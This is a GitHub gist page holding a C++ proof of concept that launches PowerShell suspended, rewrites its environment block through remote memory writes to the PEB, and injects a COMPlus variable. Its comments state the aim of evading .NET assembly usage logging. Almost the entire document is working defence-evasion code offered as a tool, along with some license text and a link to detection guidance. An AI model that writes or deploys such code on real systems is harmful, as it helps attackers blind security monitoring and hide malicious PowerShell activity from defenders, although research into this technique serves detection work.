Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
env_var_spoofing_NGenAssemblyUsageLog_poc.cpp
// I borrowed this great POC from Adam Chester [@_xpn_] to demonstrate spoofing for evading .NET 'Usage Logging'.
// This code will launch the target a suspended PowerShell.exe process, read PEB, update the ptr used to store environment variables, and resume the process
// Adam's original POC and blog for evading ETW with COMPlus_ETWEnabled can be found at these URLs:
// https://gist.github.com/xpn/64e5b6f7ad370c343e3ab7e9f9e22503
// https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/
//
// Applicable detection guidance (with a few possible tweaks) can be found here:
// https://gist.github.com/Cyb3rWard0g/a4a115fd3ab518a0e593525a379adee3
//
/*
Process Hacker License [https://github.com/processhacker/processhacker/blob/master/LICENSE.txt]
Process Hacker is distributed under the GNU GPL version 3, with the
following exception:
Permission is granted to dynamically (but not statically) link this
program with independent modules, regardless of the license terms of
these independent modules, provided that this program is not modified
in any way. An independent module is a module which is not derived
from or based on this program. If you modify this program, this
additional permission no longer applies unless authorized by the
copyright holders.
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
*/
#define INJECT_PARAM L"COMPlus_NGenAssemblyUsageLog=zz\0\0\0"
#define INJECT_PARAM_LEN 63
#define SPAWN_PROCESS "powershell.exe"
#include <iostream>
#include <Windows.h>
#include <winternl.h>
typedef NTSTATUS(*NtQueryInformationProcess2)(
IN HANDLE,
IN PROCESSINFOCLASS,
OUT PVOID,
IN ULONG,
OUT PULONG
);
// Taken from Process Hacker with thanks -> https://github.com/processhacker/processhacker/blob/master/phnt/include/ntrtl.h
#define DOS_MAX_COMPONENT_LENGTH 255
#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5)
typedef struct _CURDIR
{
UNICODE_STRING DosPath;
HANDLE Handle;
} CURDIR, * PCURDIR;
#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002
#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003
typedef struct _RTL_DRIVE_LETTER_CURDIR
{
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
#define RTL_MAX_DRIVE_LETTERS 32
#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001
typedef struct _RTL_USER_PROCESS_PARAMETERS_PH
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
ULONG_PTR EnvironmentSize;
ULONG_PTR EnvironmentVersion;
PVOID PackageDependencyData;
ULONG ProcessGroupId;
ULONG LoaderThreads;
UNICODE_STRING RedirectionDllName; // REDSTONE4
UNICODE_STRING HeapPartitionName; // 19H1
ULONG_PTR DefaultThreadpoolCpuSetMasks;
ULONG DefaultThreadpoolCpuSetMaskCount;
} RTL_USER_PROCESS_PARAMETERS_PH;
void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
SIZE_T bytesRead;
char* alloc;
alloc = (char*)malloc(bytes);
if (alloc == NULL) {
return NULL;
}
if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
free(alloc);
return NULL;
}
return alloc;
}
BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
SIZE_T bytesWritten;
if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
return false;
}
return true;
}
int main(int argc, char** canttrustthis, char** canttrustthiseither)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
BOOL success;
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;
SIZE_T bytesRead;
PEB pebLocal;
RTL_USER_PROCESS_PARAMETERS_PH* parameters;
char* origEnv;
printf("EnvVar Spoofing Example by @_xpn_\n\n");
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
// Start process suspended
success = CreateProcessA(
NULL,
(LPSTR)SPAWN_PROCESS,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
NULL, // No env variables set on load so they will be taken from the parent (us).
"C:\\Windows\\System32\\",
&si,
&pi);
if (success == FALSE) {
printf("[!] Error: Could not call CreateProcess\n");
return 1;
}
// Retrieve information on PEB location in process
NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
ntpi(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&retLen
);
// Read the PEB from the target process
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
if (success == FALSE) {
printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
return 1;
}
// Grab the ProcessParameters from PEB
parameters = (RTL_USER_PROCESS_PARAMETERS_PH*)readProcessMemory(
pi.hProcess,
pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS_PH)
);
// Read out the default env vars used
origEnv = (char*)readProcessMemory(
pi.hProcess,
parameters->Environment,
parameters->EnvironmentSize);
if (origEnv == NULL) {
printf("[!] Error: Could not read current environment variables\n");
return 1;
}
// Allocate a new env region of memory in the target process so we can append our new values
char* newMem = (char*)VirtualAllocEx(pi.hProcess, 0, parameters->EnvironmentSize + INJECT_PARAM_LEN, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (newMem == NULL) {
printf("[!] Error: Could not allocate memory in remote process\n");
return 1;
}
success = writeProcessMemory(
pi.hProcess,
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS_PH, Environment),
(void*)&newMem,
8
);
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update Environment ptr\n");
return 1;
}
// Copy env into a new buffer
char* newEnv = (char*)malloc(parameters->EnvironmentSize + INJECT_PARAM_LEN);
if (newEnv == NULL) {
printf("[!] Error: Out of memory\n");
return 1;
}
// Copy over existing env vars
memset(newEnv, 0, parameters->EnvironmentSize + INJECT_PARAM_LEN);;
memcpy(newEnv, origEnv, parameters->EnvironmentSize);
// Work backwards to find the last env var and append
for (int i = 1; i < parameters->EnvironmentSize; i++) {
if (newEnv[parameters->EnvironmentSize - i] != '\0') {
// Found the last character in the size, we need to copy here
memcpy(newEnv + parameters->EnvironmentSize - i + 4, INJECT_PARAM, INJECT_PARAM_LEN);
break;
}
}
// Set our new length
parameters->EnvironmentSize += INJECT_PARAM_LEN;
// Set the actual vars we are looking to use
success = writeProcessMemory(pi.hProcess, newMem, (void*)newEnv, parameters->EnvironmentSize);
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update environment vars\n");
return 1;
}
// Update the length of our env vars
success = writeProcessMemory(
pi.hProcess,
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS_PH, EnvironmentSize),
(void*)&parameters->EnvironmentSize,
sizeof(parameters->EnvironmentSize)
);
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update environment var length\n");
return 1;
}
// Resume thread execution
ResumeThread(pi.hThread);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment